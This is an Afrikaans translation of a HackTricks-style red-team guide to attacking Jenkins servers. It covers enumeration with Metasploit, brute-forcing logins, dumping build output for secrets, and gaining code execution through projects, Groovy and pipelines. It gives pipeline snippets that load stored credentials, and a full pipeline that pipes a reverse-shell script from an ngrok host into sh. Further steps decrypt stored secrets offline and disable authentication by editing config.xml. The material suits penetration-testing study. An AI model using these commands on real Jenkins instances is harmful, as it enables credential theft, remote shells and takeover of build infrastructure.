Jenkins Security

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Jenkins is 'n instrument wat 'n eenvoudige metode bied om 'n deurlopende integrasie of deurlopende aflewering (CI/CD) omgewing te skep vir byna enige kombinasie van programmeertaal en bronkode-opslagplaats met behulp van pyplyne. Verder outomatiseer dit verskeie gereelde ontwikkelingstake. Alhoewel Jenkins nie die behoefte om skripte vir individuele stappe te skep uitskakel nie, bied dit 'n vinniger en robuuster manier om die hele reeks bou-, toets- en implementeringshulpmiddels te integreer as wat mens maklik met die hand kan konstrueer.

pageBasic Jenkins Information

Ongeverifieerde Opsomming

Om te soek na interessante Jenkins-bladsye sonder verifikasie soos (/people of /asynchPeople, wat die huidige gebruikers lys) kan jy gebruik:

msf> use auxiliary/scanner/http/jenkins_enum

Kyk of jy opdragte kan uitvoer sonder om verifikasie nodig te hê:

msf> use auxiliary/scanner/http/jenkins_command

Sonner credentials kan jy binne die /asynchPeople/ pad of /securityRealm/user/admin/search/index?q= vir gebruikersname kyk.

Jy kan moontlik die Jenkins weergawe kry vanaf die pad /oops of /error

Bekende Swakhede

Teken In

In die basiese inligting kan jy alle maniere om binne Jenkins in te teken nagaan:

pageBasic Jenkins Information

Registreer

Jy sal Jenkins-instansies vind wat jou toelaat om 'n rekening te skep en daarin in te teken. So eenvoudig soos dit.

SSO Teken In

Ook as SSO-funksionaliteit/plugins teenwoordig was, moet jy probeer om in te teken by die toepassing met 'n toetsrekening (d.w.s. 'n toets Github/Bitbucket-rekening). Truuk van hier.

Bruteforce

Jenkins ontbreek aan 'n wagwoordbeleid en gebruikersnaam-bruteforce-mitigasie. Dit is noodsaaklik om gebruikers met bruteforce aan te val aangesien swak wagwoorde of gebruikersname as wagwoorde gebruik kan word, selfs omgekeerde gebruikersname as wagwoorde.

msf> use auxiliary/scanner/http/jenkins_login

Wagwoord spuit

Gebruik hierdie Python-skrip of hierdie PowerShell-skrip.

IP Witlysontduiking

Baie organisasies kombineer SaaS-gebaseerde bronbeheerstelsels (SCM) soos GitHub of GitLab met 'n interne, self-gehoste CI-oplossing soos Jenkins of TeamCity. Hierdie opstelling maak dit moontlik vir CI-stelsels om webhook-gebeure van SaaS-bronbeheerders te ontvang, hoofsaaklik vir die aktivering van pyplynwerk.

Om dit te bereik, witlys organisasies die IP-reeks van die SCM-platforms, wat hulle toegang gee tot die interne CI-stelsel via webhooks. Dit is egter belangrik om daarop te let dat enigiemand 'n rekening op GitHub of GitLab kan skep en dit kan konfigureer om 'n webhook te aktiveer, wat moontlik versoek na die interne CI-stelsel kan stuur.

Kyk: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Interne Jenkins Misbruik

In hierdie scenario's gaan ons aanneem dat jy 'n geldige rekening het om toegang tot Jenkins te verkry.

Afhanklik van die Gemagtiging meganisme wat in Jenkins gekonfigureer is en die toestemming van die gekompromitteerde gebruiker, kan jy wel of nie die volgende aanvalle uitvoer nie.

Vir meer inligting, kyk na die basiese inligting:

pageBasic Jenkins Information

Lys van gebruikers

As jy toegang tot Jenkins het, kan jy ander geregistreerde gebruikers lys in http://127.0.0.1:8080/asynchPeople/

Dumping bouwerk om klaarteksgeheime te vind

Gebruik hierdie skrip om boukonsole-uitsette en bou-omgewingsveranderlikes te dump om hopelik klaarteksgeheime te vind.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Diefstal van SSH-legitimasie

Indien die gekompromitteerde gebruiker genoeg voorregte het om 'n nuwe Jenkins-node te skep/wysig en SSH-legitimasie is reeds gestoor om toegang tot ander nodes te verkry, kan hy daardie legitimasie steel deur 'n node te skep/wysig en 'n gasheer in te stel wat die legitimasie sal opneem sonder om die gasheer sleutel te verifieer:

Jy sal gewoonlik Jenkins SSH-legitimasie vind in 'n globale verskaffer (/credentials/), sodat jy hulle ook kan dump soos jy enige ander geheim sou dump. Meer inligting in die Afsnyt oor geheime dump.

RCE in Jenkins

Om 'n shell in die Jenkins-bediener te kry, gee die aanvaller die geleentheid om al die geheime en omgewingsveranderlikes te lek en om ander masjiene in dieselfde netwerk te uitbuit of selfs wolk-legitimasie te versamel.

Standaard sal Jenkins as SYSTEM uitgevoer word. Dus, om dit te kompromitteer, sal die aanvaller SYSTEM-voorregte gee.

RCE Skep/Wysig 'n projek

Die skep/wysiging van 'n projek is 'n manier om RCE oor die Jenkins-bediener te verkry:

pageJenkins RCE Creating/Modifying Project

RCE Uitvoer Groovy-skrip

Jy kan ook RCE verkry deur 'n Groovy-skrip uit te voer, wat dalk sluwer kan wees as om 'n nuwe projek te skep:

pageJenkins RCE with Groovy Script

RCE Skep/Wysig Pyplyn

Jy kan ook RCE kry deur 'n pyplyn te skep/wysig:

pageJenkins RCE Creating/Modifying Pipeline

Pyplyn Uitbuiting

Om pyplyne te benut, moet jy steeds toegang tot Jenkins hê.

Bou Pyplyne

Pyplyne kan ook gebruik word as boumeganisme in projekte, in daardie geval kan 'n lêer binne die bewaarplek gekonfigureer word wat die pyplyn sintaks bevat. Standaard word /Jenkinsfile gebruik:

Dit is ook moontlik om pyplynkonfigurasie lêers op ander plekke te stoor (in ander bewaarplekke byvoorbeeld) met die doel om die bewaarplek toegang en die pyplyn toegang te skei.

As 'n aanvaller skryftoegang tot daardie lêer het, sal hy dit kan wysig en die pyplyn moontlik aanhits sonder om selfs toegang tot Jenkins te hê. Dit is moontlik dat die aanvaller die nodig sal hê om sekere takbeskermings te omseil (afhangende van die platform en die gebruiker se voorregte kan dit omseil word of nie).

Die mees algemene aanhitsers om 'n aangepaste pyplyn uit te voer is:

  • Pull versoek na die hooftak (of moontlik na ander takke)

  • Druk na die hooftak (of moontlik na ander takke)

  • Bespreek die hooftak en wag totdat dit op een of ander manier uitgevoer word

As jy 'n eksterne gebruiker is, moet jy nie verwag om 'n PR na die hooftak van die bewaarplek van 'n ander gebruiker/organisasie te skep en die pyplyn te aanhits nie... maar as dit sleg gekonfigureer is, kan jy maatskappye heeltemal kompromitteer deur dit te benut.

Pyplyn RCE

In die vorige RCE-afdeling is reeds 'n tegniek aangedui om RCE te kry deur 'n pyplyn te wysig.

Kontroleer Omgewingsveranderlikes

Dit is moontlik om duidelike teks omgewingsveranderlikes vir die hele pyplyn of vir spesifieke fases te verklaar. Hierdie omgewingsveranderlikes moet nie sensitiewe inligting bevat nie, maar 'n aanvaller kan altyd al die pyplyn konfigurasies/Jenkins-lêers nagaan:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Uitlek van geheime

Vir inligting oor hoe geheime gewoonlik deur Jenkins hanteer word, kyk na die basiese inligting:

pageBasic Jenkins Information

Kredensiale kan geskopeer word na globale verskaffers (/credentials/) of na spesifieke projekte (/job/<project-name>/configure). Daarom, om almal uit te voer, moet jy ten minste al die projekte wat geheime bevat, kompromiteer en aangepaste/vergiftigde pyplyne uitvoer.

Daar is nog 'n probleem, om 'n geheim binne die env van 'n pyplyn te kry, moet jy die naam en tipe van die geheim ken. Byvoorbeeld, as jy probeer om 'n usernamePassword geheim as 'n string geheim te laai, sal jy hierdie fout kry:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hier het jy die manier om sekere algemene geheimtipes te laai:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Aan die einde van hierdie bladsy kan jy alle tipe geloofsbriewe vind: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Die beste manier om alle geheime terselfdertyd te dump is deur die Jenkins-masjien te kompromiteer (deur byvoorbeeld 'n omgekeerde dop in die ingeboude node te hardloop) en dan die meestersleutels en die versleutelde geheime te lek en dit aflyn te ontsluit. Meer hieroor in die Nodes & Agents-afdeling en in die Post Exploitation-afdeling.

Aanlokking

Van die dokumentasie: Die triggers riglyn definieer die geoutomatiseerde maniere waarop die Pyplyn heraangestuur moet word. Vir Pyplyne wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag triggers nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die tans beskikbare aanlokkinge is cron, pollSCM en upstream.

Cron-voorbeeld:

triggers { cron('H */4 * * 1-5') }

Kyk na ander voorbeelde in die dokumente.

Nodes & Agente

'n Jenkins-instansie mag verskillende agente hê wat op verskillende rekenaars loop. Vanuit 'n aanvaller se perspektief, toegang tot verskillende rekenaars beteken verskillende potensiële wolklegitimasie om te steel of verskillende netwerktoegang wat misbruik kan word om ander rekenaars te benut.

Vir meer inligting, kyk na die basiese inligting:

pageBasic Jenkins Information

Jy kan die gekonfigureerde nodes in /rekenaar/ opnoem, jy sal gewoonlik die **Ingeboude Node ** (wat die node is wat Jenkins hardloop) en moontlik meer vind:

Dit is veral interessant om die Ingeboude node te kompromiteer omdat dit sensitiewe Jenkins-inligting bevat.

Om aan te dui dat jy die pipeline in die ingeboude Jenkins-node wil hardloop, kan jy binne die pipeline die volgende konfigurasie spesifiseer:

pipeline {
agent {label 'built-in'}

Volledige voorbeeld

Pyplyn in 'n spesifieke agent, met 'n cron-aanvraag, met pyplyn- en stadium-omgewingsveranderlikes, wat 2 veranderlikes in 'n stap laai en 'n omgekeerde dop stuur:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Post Exploitasie

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Geheime

Jy kan die geheime lys deur /credentials/ te benader as jy genoeg toestemmings het. Let daarop dat dit slegs die geheime binne die credentials.xml lêer sal lys, maar boukonfigurasie-lêers kan ook meer geloofsbriewe hê.

As jy die konfigurasie van elke projek kan sien, kan jy ook daar sien die name van die geloofsbriewe (geheime) wat gebruik word om die argief te benader en ander geloofsbriewe van die projek.

Van Groovy

pageJenkins Dumping Secrets from Groovy

Van skyf

Hierdie lêers is nodig om Jenkins-geheime te ontsleutel:

  • secrets/master.key

  • secrets/hudson.util.Secret

Sodanige geheime kan gewoonlik gevind word in:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Hier is 'n regex om hulle te vind:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Ontsleutel Jenkins-geheime aanlyn

Indien jy die nodige wagwoorde om die geheime te ontsluit gedump het, gebruik hierdie skripsie om daardie geheime te ontsluit.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Ontsleutel Jenkins-geheime vanaf Groovy

println(hudson.util.Secret.decrypt("{...}"))

Skep nuwe admin-gebruiker

  1. Toegang tot die Jenkins config.xml-lêer in /var/lib/jenkins/config.xml of C:\Program Files (x86)\Jenkis\

  2. Soek na die woord <useSecurity>true</useSecurity> en verander die woord true na false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Herlaai die Jenkins-bediener: service jenkins restart

  5. Gaan nou weer na die Jenkins-portaal en Jenkins sal hierdie keer nie enige geloofsbriewe vra nie. Navigeer na "Bestuur Jenkins" om die administrateurswagwoord weer in te stel.

  6. Aktiveer die sekuriteit weer deur instellings te verander na <useSecurity>true</useSecurity> en herlaai die Jenkins weer.

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated